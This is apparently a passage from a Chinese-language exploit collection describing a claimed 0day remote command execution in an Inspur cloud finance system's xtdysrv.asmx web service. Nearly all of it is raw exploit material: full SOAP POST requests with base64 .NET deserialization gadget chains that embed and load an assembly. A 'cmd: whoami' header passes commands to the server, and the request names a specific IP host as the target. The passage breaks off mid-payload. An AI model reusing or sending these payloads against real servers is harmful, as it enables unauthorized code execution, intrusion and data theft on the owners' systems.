pdOAAi3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQ
QgABIpBCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFld
yYXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAA
```

AAAAAMAmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAA
AAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAATAI0AAA
AVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8A
AAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQAB
AAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQ
BuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB
0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAw
AAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAA
AAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAG
EAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8
AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwA
eQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5
pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEA
AAD+AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU
3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW
JsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1
zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3
YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1c
mU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAA
AACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVN
lbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1N
jE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLl
R5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9
rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5l
dXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEA
AAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZS
tXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5
JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVy
ZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJza
W9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV
0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2N
vcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1
YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQd
WJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAA
oICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWx
lY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0

```
b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhb
CwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC
4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0
uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlU
b2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAACAAAAJBgAAAAkwAAAACTEAAAAKCAgAA
AAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW
51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCB
DdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2Jq
ZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva
2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICA
EAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQ
AAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGlj
S2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEAC
AgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcm
IEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V
5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORACAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9
AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAAB
j4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2
tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAA
ABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxl
Z2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVud
HJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAA
EoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAA
AJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5
c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3Nlb
WJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZW
dhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUV
udHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQu
MC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c
3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW
5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3l
zdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1l
bWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU
2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdG
VtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQ
oQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkI
AAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJse
SwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVt
bU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVi
bGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDd
Wx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACV
IAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVt
dIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAA
tgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTe
XN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaW
NLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR
1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0
aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00L
jAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbX
Njb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzd
hNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5J
RW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZ
T1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG
9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkl
FbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVj
```

```
dGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249N
C4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2
V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGx
lY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9u
PTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dL
CBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW
I3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCw
gQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAA
AAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAA
AlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE
1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGl
vbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4w
LjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY
29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YT
VjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJ
lPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACE
AVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2Nvc
mxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Yz
U2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN
5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoB
TAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uP
TQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1
N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHV
ibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZh
dG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtL
k9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZU
luc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGV
sLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5H
dWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAAACAcHAgICAgICA
gITE9JO7irREYv7AKDJDyb3Cws=</strFormAssignment>
   <isBase>0</isBase>
  </GetChildFormAndEntityList>
 </soap:Body>
</soap:Envelope>
```

浪潮云财务系统xtdysrv.asmx存在命令执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/cwbase/service/rps/xtdysrv.asmx
- 漏洞详情：

```
POST /cwbase/service/rps/xtdysrv.asmx HTTP/1.1
Host: 106.38.42.250:8090
Content-Type: text/xml; charset=utf-8
Content-Length: 16398
SOAPAction: "http://tempuri.org/SavePrintFormatAssign"
cmd: whoami

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
```

```
  <soap:Body>
    <SavePrintFormatAssign xmlns="http://tempuri.org/">
      <psBizObj>string</psBizObj>
      <psLxId>string</psLxId>
<psLxMc>string</psLxMc>
```

```
<printOpByte>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lv
bj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFA
QAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5Bw
ICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnM
uR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1
bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX
3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAA
kHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3l
zdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJh
bCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb
25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm
9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHl
TZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAA
CRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAA
AAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbG
xlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJ
vdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21w
YXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAA
AkgAAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGl
uIERPUyBtb2RlLg0NCiQAAAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAA
AN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAAAABAAAAAAAAAAAAAgAAAAAIAAAAAAAAAADAECFAAAQA
AAQAAAAABAAABAAAAAAAAAAAQAAAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAAA
BgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAg
AAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAA
AAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgA
AAAAgAAAA4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAwCYAAAAAAAABIAAAAAgAFADAhAA
BgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEA
AHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RA
AAKB28KAAAKF28SAAAKB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt
4ABm8HAAAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAAAwAAAB2NC4
wLjMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAA
EAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAAOAAAAA
gAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAGACkAIgAGAFYANgAGAHYANgAKAKgAnQ
AKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgA
AAAAAAQAAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAh
